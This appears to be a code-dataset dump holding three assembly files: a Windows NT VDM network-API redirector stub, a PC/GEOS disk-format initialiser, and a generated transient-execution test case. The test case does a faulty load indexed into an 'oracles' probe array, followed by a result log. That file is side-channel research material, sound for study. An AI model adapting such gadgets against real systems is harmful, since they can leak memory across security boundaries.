hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
c6bf43d5355d5da9443fe038fc6b4d73151b31fb
14,200
asm
Assembly
base/mvdm/dos/v86/redir/netapis.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/mvdm/dos/v86/redir/netapis.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/mvdm/dos/v86/redir/netapis.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
page ,132 if 0 /*++ Copyright (c) 1991 Microsoft Corporation Module Name: netapis.asm Abstract: This module contains the resident code part of the stub redir TSR for NT VDM net support. The routines contained herein are the Lan Manager API stubs: NetIRemoteAPI NetMessageBufferSend NetNullTransactAPI NetServerEnum NetServiceControl NetTransactAPI NetUseAdd NetUseDel NetUseEnum NetUseGetInfo NetWkstaGetInfo NetWkstaSetInfo Author: Richard L Firth (rfirth) 05-Sep-1991 Environment: Dos mode only Revision History: 05-Sep-1991 rfirth Created --*/ endif .xlist ; don't list these include files .xcref ; turn off cross-reference listing include dosmac.inc ; Break macro etc (for following include files only) include dossym.inc ; User_<Reg> defines include mult.inc ; MultNET include error.inc ; DOS errors - ERROR_INVALID_FUNCTION include syscall.inc ; DOS system call numbers include rdrint2f.inc ; redirector Int 2f numbers include segorder.inc ; segments include enumapis.inc ; dispatch codes include debugmac.inc ; DbgPrint macro include localmac.inc ; DbgPrint macro include asmmacro.inc ; language extensions include rdrsvc.inc ; BOP and SVC macros/dispatch codes include sf.inc ; SFT definitions/structure .cref ; switch cross-reference back on .list ; switch listing back on subttl ; kill subtitling started in include file .286 ; all code in this module 286 compatible ResidentCodeStart assume cs:ResidentCode assume ds:nothing assume es:nothing assume ss:nothing extrn SetNetErrorCodeAx:near ; ; if we are remoting NetUserSetInfo with an unencrypted password, we need ; somewhere in 16-bit memory to store the encrypted password. Hence, this: ; password_buffer db 16 dup(?) ; *** NetIRemoteAPI ; * ; * Remotes API requests to a server. Creates a transaction smb. The ; * return data buffer address and length are in the caller's parameters. ; * ; * This is an internal API so the parameters are trusted. ; * ; * Function = 5F3Fh ; * ; * ENTRY CX = API number ; * ES:BX = pointer to caller parameters ; * DS:SI = pointer to ASCIZ parameter descriptor string ; * DS:DI = pointer to ASCIZ data descriptor string ; * DS:DX = pointer to ASCIZ aux data descriptor string ; * ; * EXIT CF = 1 ; * AX = Error code ; * ; * CF = 0 ; * Output depends on type of request ; * ; * USES ax, flags ; * ; * ASSUMES nothing ; * ; *** public NetIRemoteAPI NetIRemoteAPI proc near mov ax,offset cs:password_buffer SVC SVC_RDRIREMOTEAPI ; ; all routines in this module come here for exit processing ; common_net_api_exit: jc common_api_error_exit ; quick return on success ret common_api_error_exit: push ax DosCallBack GET_USER_STACK pop [si].User_Ax ; return failure status in caller's ax call SetNetErrorCodeAx ; set up to return 16-bit error to app stc ; failure indication ret NetIRemoteAPI endp ; *** NetMessageBufferSend ; * ; * Function = 5F40h ; * ; * ENTRY DS:DX = NetMessageBufferSendStruct: ; * ; * char FAR * NMBSS_NetName; /* asciz net name. */ ; * char FAR * NMBSS_Buffer; /* pointer to buffer. */ ; * unsigned int NMBSS_BufSize; /* size of buffer. */ ; * ; * EXIT CF = 0 ; * Success ; * ; * CF = 1 ; * AX = Error code ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetMessageBufferSend NetMessageBufferSend proc SVC SVC_RDRMESSAGEBUFFERSEND jmps common_net_api_exit NetMessageBufferSend endp ; *** NetNullTransactApi ; * ; * Function = 5F54h ; * ; * ENTRY DS:SI = transaction packet ; * ; * EXIT CF = 1 ; * AX = Error code ; * ; * CF = 0 ; * Success ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetNullTransactAPI NetNullTransactAPI proc near SVC SVC_RDRNULLTRANSACTAPI jmps common_net_api_exit NetNullTransactAPI endp ; *** NetServerEnum ; * ; * Function = 5F4Ch ; * ; * ENTRY BL = level (0 or 1) ; * CX = size of buffer ; * ES:DI = buffer ; * ; * EXIT CF = 1 ; * AX = Error code: ; * NERR_BufTooSmall ; * ERROR_MORE_DATA ; * ; * CF = 0 ; * BX = entries read ; * CX = total available ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetServerEnum NetServerEnum proc near mov al,4ch jmp short common_server_enum NetServerEnum endp ; *** NetServerEnum2 ; * ; * Function = 5F53h ; * ; * ENTRY DS:SI = NetServerEnum2Struct: ; * DW Level ; * DD Buffer ; * DW Buflen ; * DD Type ; * DD Domain ; * ; * EXIT CF = 1 ; * AX = Error code: ; * NERR_BufTooSmall ; * ERROR_MORE_DATA ; * ; * CF = 0 ; * BX = entries read ; * CX = total available ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetServerEnum2 NetServerEnum2 proc near mov al,53h common_server_enum: SVC SVC_RDRSERVERENUM ; ; we are going to set the caller's BX and CX irrespective of whether we have ; meaningful values in them. This function ; is used to unpack a real-mode buffer into a protect-mode buffer, and it uses ; the returned EntriesRead in BX to do so. It's bad because it doesn't ; look at the return code until after its tried to unpack BX elements from its ; buffer. This took me a day to find out why its ; blowing up in 16-bit windows protect-mode netapi.dll, and probably means that ; if the real DOS redir ever returned anything other than a list of servers, ; then windows would fall over too. (Actually, the real redir does the right ; thing. This is what you get for believing comments, and not reading the code ; #^*&^@@*&%!) ; pushf push ax DosCallBack GET_USER_STACK mov [si].User_Bx,bx mov [si].User_Cx,cx pop ax ; error status or XXXX popf ; error indication @@: jmps common_net_api_exit NetServerEnum2 endp ; *** NetServiceControl ; * ; * Returns information about the state of a service, or applies a control ; * to a service (and its dependents). We only allow INTERROGATE under NT ; * since we don't want DOS apps starting and stopping the NT services. In ; * most cases they couldn't anyway, since a DOS program will most likely ; * be running in an account with not enough privilege to control the ; * services (ie an admin is very likely to be using only 32-bit tools ; * to control services) ; * ; * Function = 5F42h ; * ; * ENTRY ES:BX = NetServiceControlStruct: ; * char far* ServiceName ; * unsigned short BufLen ; * char far* Buffer (service_info_2) ; * DL = opcode: ; * 0 = interrogate ; * 1 = pause ; * 2 = continue ; * 3 = uninstall ; * 4 - 127 = reserved ; * 128 - 255 = OEM defined ; * ; * EXIT CF = 0 ; * Buffer contains service_info_2 structure for requested service ; * ; * CF = 1 ; * AX = error code: ; * NERR_ServiceCtlNotValid ; * NERR_BufTooSmall ; * NERR_ServiceNotInstalled ; * ERROR_INVALID_PARAMETER (NEW) ; * ; * USES ax, flags ; * ; * ASSUMES nothing ; * ; *** public NetServiceControl NetServiceControl proc near SVC SVC_RDRSERVICECONTROL jmps common_net_api_exit NetServiceControl endp ; *** NetTransactAPI ; * ; * Function = 5F3Dh ; * ; * ENTRY DS:SI = transaction packet ; * ; * EXIT CF = 1 ; * AX = Error code ; * ; * CF = 0 ; * Success ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetTransactAPI NetTransactAPI proc near SVC SVC_RDRTRANSACTAPI jmps common_net_api_exit NetTransactAPI endp ; *** NetUseAdd ; * ; * Function = 5F47h ; * ; * ENTRY BX = level ; * CX = buffer length ; * DS:SI = server name for remote call (MBZ) ; * ES:DI = buffer containing use_info_1 structure ; * ; * EXIT CF = 0 ; * Success ; * ; * CF = 1 ; * AX = Error code ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetUseAdd NetUseAdd proc SVC SVC_RDRUSEADD jmps common_net_api_exit NetUseAdd endp ; *** NetUseDel ; * ; * Function = 5F48h ; * ; * ENTRY BX = force flag ; * DS:SI = server name for remote call (MBZ) ; * ES:DI = use name ; * ; * EXIT CF = 0 ; * Success ; * ; * CF = 1 ; * AX = Error code ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetUseDel NetUseDel proc SVC SVC_RDRUSEDEL jmps common_net_api_exit NetUseDel endp ; *** NetUseEnum ; * ; * Function = 5F46h ; * ; * ENTRY BX = level of info required - 0 or 1 ; * CX = buffer length ; * ES:DI = buffer for enum info ; * ; * EXIT CF = 0 ; * CX = Entries Read ; * DX = Total number of entries available ; * ; * CF = 1 ; * AX = Error code ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetUseEnum NetUseEnum proc SVC SVC_RDRUSEENUM pushf ; error indication push ax ; error code ; ; return EntriesRead and TotalEntries regardless of error ; DosCallBack GET_USER_STACK mov [si].User_Cx,cx mov [si].User_Dx,dx pop ax popf jmpc common_api_error_exit ; error ret NetUseEnum endp ; *** NetUseGetInfo ; * ; * Function = 5F49h ; * ; * ENTRY DS:DX = NetUseGetInfoStruc: ; * ; * const char FAR* NUGI_usename; /* ASCIZ redirected device name */ ; * short NUGI_level; /* level of info */ ; * char FAR* NUGI_buffer; /* buffer for returned info */ ; * unsigned short NUGI_buflen; /* size of buffer */ ; * ; * EXIT CF = 0 ; * DX = size of entry returned (or size of buffer required) ; * ; * CF = 1 ; * AX = Error code ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetUseGetInfo NetUseGetInfo proc SVC SVC_RDRUSEGETINFO jmpc common_api_error_exit DosCallBack GET_USER_STACK mov [si].User_Dx,dx clc ret NetUseGetInfo endp ; *** NetWkstaGetInfo ; * ; * Function = 5F44h ; * ; * ENTRY BX = level of information - 0, 1, 10 ; * CX = size of caller's buffer ; * DS:SI = server name for remote call (Must Be Null) ; * ES:DI = caller's buffer ; * ; * EXIT CF = 0 ; * DX = size of buffer required for request ; * AX = NERR_Success (0) ; * ; * CF = 1 ; * AX = Error code ; * NERR_BufTooSmall (2123) ; * Caller's buffer not large enough to hold even fixed ; * part of structure ; * ; * ERROR_MORE_DATA (234) ; * Caller's buffer large enough to hold fixed structure ; * part of data, but not all variable parts too ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetWkstaGetInfo NetWkstaGetInfo proc SVC SVC_RDRWKSTAGETINFO pushf ; save error indication in carry push ax ; save error code DosCallBack GET_USER_STACK mov [si].User_Dx,dx ; user's dx = buffer required pop ax ; ax = error code or ? popf ; carry flag = error (1) or no error jmps common_net_api_exit ; if error, store it, and return NetWkstaGetInfo endp ; *** NetWkstaSetInfo ; * ; * Function = 5F45h ; * ; * ENTRY BX = level - MBZ ; * CX = buffer size ; * DX = parm num ; * DS:SI = server name for remote call (MBZ) ; * ES:DI = caller's buffer ; * ; * EXIT CF = 0 ; * Success ; * ; * CF = 1 ; * AX = Error code ; * ; * USES ; * ; * ASSUMES nothing ; * ; *** public NetWkstaSetInfo NetWkstaSetInfo proc SVC SVC_RDRWKSTASETINFO jmps common_net_api_exit NetWkstaSetInfo endp ResidentCodeEnd end
25.044092
91
0.510986
7ac490d899db186c561720e19472741aee1b1eec
13,770
asm
Assembly
Library/Kernel/Format/formatInit.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Kernel/Format/formatInit.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Kernel/Format/formatInit.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @----------------------------------------------------------------------- Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC/GEOS MODULE: KLib/Format FILE: formatInit.asm AUTHOR: Cheng, 1/90 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 1/90 Initial revision DESCRIPTION: Initializes variables prior to formatting. $Id: formatInit.asm,v 1.1 97/04/05 01:18:24 newdeal Exp $ -------------------------------------------------------------------------------@ COMMENT @----------------------------------------------------------------------- FUNCTION: FormatDoInit DESCRIPTION: Initialize variables. CALLED BY: INTERNAL (LibDiskFormat) PASS: ds - dgroup ah - drive number (0 based) al - PC/GEOS media descriptor cx:dx - fptr to callback routine dx = 0ffffh if none bp - callback specifier CALLBACK_WITH_PCT_DONE CALLBACK_WITH_CYL_HEAD es:di - ASCIIZ volume name RETURN: carry set on error ax - error code DESTROYED: ax,bx,cx,dx,di,si REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: see notes on pg 536-537 of Duncan set drive allocate buffer init vars if Ioctl will be used, save BPB and set BPB KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 1/90 Initial version -------------------------------------------------------------------------------@ FormatDoInit proc far push es ;----------------------------------------------------------------------- ;initialize callback interaction vars mov ds:[callbackRoutine.offset], dx mov ds:[callbackRoutine.segment], cx mov ds:[callbackInfoFlag], bp mov ds:[volumeNameAddr.offset], di mov ds:[volumeNameAddr.segment], es mov ds:[abortFlag], 0 ;----------------------------------------------------------------------- ;initialize medium vars call SetDrive ;change to drive, init var ;----------------------------------------------------------------------- ;allocate work buffer push ax ;save PC/GEOS media descriptor mov ax, MSDOS_STD_SECTOR_SIZE mov cx, HAF_STANDARD_LOCK shl 8 call MemAllocFar jnc haveBuffer pop ax mov ax, FMT_ERR_CANNOT_ALLOC_SECTOR_BUFFER jmp FDI_error haveBuffer: mov ds:[workBufHan], bx mov ds:[workBufSegAddr], ax pop ax call FormatInitMediaVars ;----------------------------------------------------------------------- ;modify BPB if necessary call IsIoctlPresent jc noIoctl call GetBPB ;destroys ax,bx,cx,dx call SaveBPB ;destroys ax,cx,di,si,es call SetBPB ;destroys ax,cx,dx,di,si,es noIoctl: ;----------------------------------------------------------------------- mov ax, ds:[mediaVars.BPB_sectorSize] mov bx, ROOT_DIR_ENTRY_SIZE clr dx div bx mov ds:[rootDirsPerSector], ax ;----------------------------------------------------------------------- ;get logical sector number of start mov ax, ds:[mediaVars.BPB_sectorsPerTrack] push ax mul ds:[mediaVars.BPB_numHeads] ;dx:ax <- sectors per cylinder mov ds:[sectorsPerCylinder], ax mul ds:[curCylinder] mov bx, ax ;bx <- sector offset to start cylinder pop ax ;ax <- sectors per track mul ds:[curHead] ;ax <- offset to start track add ax, bx ;ax <- offset to start sector add ax, ds:[curSector] dec ax mov ds:[startBoot], ax ;----------------------------------------------------------------------- ;init positions for disk areas push ax ;save logical sector of boot add ax, ds:[mediaVars.BPB_numReservedSectors] mov ds:[startFAT], ax mov bx, ax ;bx <- logical sector of FAT pop ax ;ax <- logical sector of boot clr dx div ds:[mediaVars.BPB_sectorsPerTrack] inc ax mov ds:[startTrack], ax mov ax, ds:[mediaVars.BPB_sectorsPerFAT] mul ds:[mediaVars.BPB_numFATs] add ax, bx ;ax <- start FAT + FAT size mov ds:[startRoot], ax mov bx, ax mov ax, ds:[mediaVars.BPB_numRootDirEntries] clr dx div ds:[rootDirsPerSector] mov ds:[rootDirSize], ax add ax, bx mov ds:[startFilesArea], ax ;----------------------------------------------------------------------- ;init other disk vars clr dx div ds:[mediaVars.BPB_sectorsPerTrack] inc ax mov ds:[lastRootDirTrack], ax mov ax, ds:[mediaVars.BPB_sectorsPerTrack] sub ax, dx mov ds:[unprocessedFilesAreaSectors], ax mov ax, ds:[mediaVars.BPB_numSectors] clr dx div ds:[mediaVars.BPB_sectorsPerTrack] mov ds:[numTracks], ax ;----------------------------------------------------------------------- ;if Ioctl is absent, allocate buffers for track verification call IsIoctlPresent jnc FDI_20 mov ax, MSDOS_STD_SECTOR_SIZE mul ds:[mediaVars.BPB_sectorsPerTrack] mov ds:[mediaBytesPerTrack], ax mov cx, HAF_STANDARD_LOCK shl 8 call MemAllocFar jnc haveVerifyBuffer mov bx, ds:[workBufHan] ; Free working buffer call MemFree call RestoreBPB mov ax, FMT_ERR_CANNOT_ALLOC_SECTOR_BUFFER stc jmp FDI_error haveVerifyBuffer: mov ds:[trackVerifyBufSegAddr], ax mov ds:[trackVerifyBufHan], bx call SetDiskType ;----------------------------------------------------------------------- ;stuff disk base table entry with correct number of sectors ;some way around this? mov ax, 351eh ;get addr of disk base table call FileInt21 ;es:bx <- addr of base table mov al, {byte}ds:[mediaVars.BPB_sectorsPerTrack] mov es:[bx+4], al ; XXX FDI_20: clr ax ;return no errors mov ds:[ioctlFmtTrkParamBlk.FTPB_specialFunctions], al mov ds:[ioctlFmtTrkParamBlk.FTPB_head], ax mov ds:[ioctlFmtTrkParamBlk.FTPB_cylinder], ax mov ds:[clusterStat], ax mov ds:[goodClusters], ax mov ds:[badClusters], ax FDI_error: pop es ret FormatDoInit endp COMMENT @----------------------------------------------------------------------- FUNCTION: SetDrive DESCRIPTION: Select and reset the specified drive. CALLED BY: INTERNAL (LibGetMediaAndOptions, LibDiskFormat) PASS: ds - dgroup ah - 0 based drive code RETURN: ds:[drive] ds:[biosDrive] DESTROYED: carry clear if successful carry set otherwise, error in ds:[errCode] REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 7/89 Initial version -------------------------------------------------------------------------------@ SetDrive proc near push ax, dx mov al, ah mov ds:[drive], al call DriveGetStatusFar test ah, mask DS_MEDIA_REMOVABLE jne floppy sub al, 2 ;convert to fixed drive num or al, 80h floppy: mov ds:[biosDrive], al ; I can see no use in this, since we're not doing real file OPs on the disk... ; - ardeb 4/28/90 ; mov ah, MSDOS_SET_DEFAULT_DRIVE ;select drive ; mov dl, ds:[drive] ; call FileInt21 ;destroys al clr ah ;reset disk mov dl, ds:[biosDrive] call FormatInt13 mov al, ah clr ah mov ds:[errCode], ax pop ax, dx ret SetDrive endp COMMENT @----------------------------------------------------------------------- FUNCTION: FormatInitMediaVars DESCRIPTION: Initialize variables relating to the medium that we're going to work on. CALLED BY: INTERNAL (FormatDoInit) PASS: ds - dgroup al - PC/GEOS media descriptor RETURN: media vars DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 1/90 Initial version -------------------------------------------------------------------------------@ FormatInitMediaVars proc near push ax,cx,di,si EC< call ECCheckDS > push ax mov al, ds:[drive] call DriveGetStatusFar mov ds:[mediaStatus], ah test ah, mask DS_MEDIA_REMOVABLE pop ax jnz floppy ;----------------------------------------------------------------------- ;dealing with fixed disk... ; ;if IOCTL is present then ; get params ; copy BPB over to media vars ;else ; get boot sector ; copy BPB over to media vars ; ;get partition entry mov ds:[ioctlFuncCode], 62h ;verify track jmp short done floppy: ;----------------------------------------------------------------------- ;dealing with floppy disk... push ds,es clr ah dec ax ;make ax 0 based mov cx, size BiosParamBlock ;cx <- block size mul cx ;ax <- 0 based offset add ax, offset cs:[BPB_160K] ;ax <- offset to BPB for media mov si, ax mov di, offset dgroup:[mediaVars] push cs push ds pop es ; es <- ds pop ds ; ds <- cs rep movsb pop ds,es clr ax mov ds:[curCylinder], ax mov ds:[curHead], ax mov ds:[curSector], 1 mov ds:[ioctlFuncCode], 42h ;format and verify track done: pop ax,cx,di,si ret FormatInitMediaVars endp CheckHack <MEDIA_160K eq 1> BPB_160K BiosParamBlock < 512, ;sectorSize 1, ;clusterSize 1, ;numReservedSectors 2, ;numFATs 64, ;numRootDirEntries 320, ;numSectors DOS_MEDIA_160K, ;mediaDescriptor 1, ;sectorsPerFAT 8, ;sectorsPerTrack 1, ;numHeads 0 ;numHiddenSectors > CheckHack <MEDIA_180K eq 2> BPB_180K BiosParamBlock < 512, ;sectorSize 2, ;clusterSize 1, ;numReservedSectors 2, ;numFATs 64, ;numRootDirEntries, 4 sectors 360, ;numSectors DOS_MEDIA_180K, ;mediaDescriptor 1, ;sectorsPerFAT 9, ;sectorsPerTrack 1, ;numHeads 0 ;numHiddenSectors > CheckHack <MEDIA_320K eq 3> BPB_320K BiosParamBlock < 512, ;sectorSize 2, ;clusterSize 1, ;numReservedSectors 2, ;numFATs 112, ;numRootDirEntries 640, ;numSectors DOS_MEDIA_320K, ;mediaDescriptor 1, ;sectorsPerFAT 8, ;sectorsPerTrack 2, ;numHeads 0 ;numHiddenSectors > CheckHack <MEDIA_360K eq 4> BPB_360K BiosParamBlock < 512, ;sectorSize 2, ;clusterSize 1, ;numReservedSectors 2, ;numFATs 112, ;numRootDirEntries, 7 sectors 720, ;numSectors DOS_MEDIA_360K, ;mediaDescriptor 2, ;sectorsPerFAT 9, ;sectorsPerTrack 2, ;numHeads 0 ;numHiddenSectors > CheckHack <MEDIA_720K eq 5> BPB_720K BiosParamBlock < 512, ;sectorSize 2, ;clusterSize 1, ;numReservedSectors 2, ;numFATs 112, ;numRootDirEntries, 7 sectors 1440, ;numSectors DOS_MEDIA_720K, ;mediaDescriptor 3, ;sectorsPerFAT 9, ;sectorsPerTrack 2, ;numHeads 0 ;numHiddenSectors > CheckHack <MEDIA_1M2 eq 6> BPB_1M2 BiosParamBlock < 512, ;sectorSize 1, ;clusterSize 1, ;numReservedSectors 2, ;numFATs 224, ;numRootDirEntries, 14 sectors 2400, ;numSectors DOS_MEDIA_1M2, ;mediaDescriptor 7, ;sectorsPerFAT 15, ;sectorsPerTrack 2, ;numHeads 0 ;numHiddenSectors > CheckHack <MEDIA_1M44 eq 7> BPB_1M44 BiosParamBlock < 512, ;sectorSize 1, ;clusterSize 1, ;numReservedSectors 2, ;numFATs 224, ;numRootDirEntries, 14 sectors 2880, ;numSectors DOS_MEDIA_1M44, ;mediaDescriptor 9, ;sectorsPerFAT 18, ;sectorsPerTrack 2, ;numHeads 0 ;numHiddenSectors > IF 0 CheckHack <MEDIA_FIXED_DISK eq 8> BPB_fixed BiosParamBlock < 512, ;sectorSize 0, ;clusterSize, 4 or 8 1, ;numReservedSectors 2, ;numFATs 0, ;numRootDirEntries, 200 or 512 0, ;numSectors DOS_MEDIA_FIXED_DISK, ;mediaDescriptor 0, ;sectorsPerFAT 17, ;sectorsPerTrack 0, ;numHeads, 4, 5 or 7 0 ;numHiddenSectors > ENDIF ForceRef BPB_180K ForceRef BPB_320K ForceRef BPB_360K ForceRef BPB_720K ForceRef BPB_1M2 ForceRef BPB_1M44 COMMENT @----------------------------------------------------------------------- FUNCTION: SetDiskType DESCRIPTION: CALLED BY: INTERNAL () PASS: No ioctl present. ds - dgroup what user desires: ds:[mediaDescriptor] - valid values are: DOS_MEDIA_360K DOS_MEDIA_1M2 what drive user has: ds:[drive] RETURN: DESTROYED: REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: if drive is 360Kb then code = 1 else if drive is 1.2Mb then if what user wants is 320Kb/360Kb then code = 2 else code = 3 endif else code = 4 endif KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 1/90 Initial version -------------------------------------------------------------------------------@ SetDiskType proc near push ax,cx,dx ;reset disk driver clr ah call FormatInt13 call SysGetConfig ;dh <- machine type, alters ax mov dl, ds:[drive] cmp dh, SMT_PC_XT je doSetMedia cmp dh, SMT_PC_AT jne doSetDASD doSetMedia: call SetMediaType doSetDASD: cmp ch, SMT_PC_AT jb exit mov al, dl call DriveGetDefaultMedia ;ah <- PC/GEOS media descriptor cmp ah, MEDIA_360K mov al, 1 ;floppy disk type code <- 1 je doSet cmp ah, MEDIA_1M2 mov al, 4 ;al <- 4 jne doSet mov cl, ds:[mediaVars.BPB_mediaDescriptor] dec al ;al <- 3 cmp cl, DOS_MEDIA_1M2 je doSet dec al ;al <- 2 cmp cl, DOS_MEDIA_360K je doSet cmp cl, DOS_MEDIA_320K je doSet cmp cl, DOS_MEDIA_180K je doSet cmp cl, DOS_MEDIA_160K je doSet mov al, 4 doSet: mov ah, 17h ;BIOS set disk type call FormatInt13 exit: pop ax,cx,dx ret SetDiskType endp SetMediaType proc near push es,di mov cx, ds:[numTracks] mov al, ch ;bits 0,1 of al <- ms cylinder bits mov ch, cl mov cl, 6 shl ax, cl mov cl, al or cl, {byte}ds:[mediaVars.BPB_sectorsPerTrack] mov ah, 18h call FormatInt13 pop es,di ret SetMediaType endp
21.583072
81
0.598257
bf1747b6f97ad09f1c18f1b404d1e8378db6c41e
5,866
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_141.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_141.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_141.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x15044, %rsi lea addresses_WC_ht+0x139c0, %rdi clflush (%rsi) nop nop nop nop nop add $2377, %rax mov $38, %rcx rep movsw nop cmp %r9, %r9 lea addresses_normal_ht+0xf940, %rcx nop nop xor %r10, %r10 mov (%rcx), %si nop nop nop nop nop sub $60628, %rsi lea addresses_WC_ht+0x1b440, %rcx nop nop nop add %rdi, %rdi and $0xffffffffffffffc0, %rcx movntdqa (%rcx), %xmm6 vpextrq $1, %xmm6, %rax nop xor $44434, %rsi lea addresses_WC_ht+0xe568, %rsi lea addresses_WT_ht+0xfd88, %rdi clflush (%rsi) nop nop nop nop xor %r12, %r12 mov $73, %rcx rep movsl nop nop nop nop nop xor %rcx, %rcx lea addresses_WT_ht+0x3940, %rcx nop nop nop cmp %r12, %r12 movl $0x61626364, (%rcx) nop nop nop nop nop sub $23123, %r12 lea addresses_WT_ht+0x9a40, %rsi lea addresses_UC_ht+0x1740, %rdi nop sub $24704, %rbp mov $8, %rcx rep movsq nop nop nop nop nop cmp $60670, %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r15 push %r8 push %rdi push %rdx // Store lea addresses_normal+0x2c40, %r13 nop cmp $15405, %r10 mov $0x5152535455565758, %rdx movq %rdx, %xmm6 vmovntdq %ymm6, (%r13) nop nop nop nop xor %r10, %r10 // Faulty Load lea addresses_WT+0x7140, %r14 nop nop nop nop add $37233, %r15 movb (%r14), %dl lea oracles, %r10 and $0xff, %rdx shlq $12, %rdx mov (%r10,%rdx,1), %rdx pop %rdx pop %rdi pop %r8 pop %r15 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 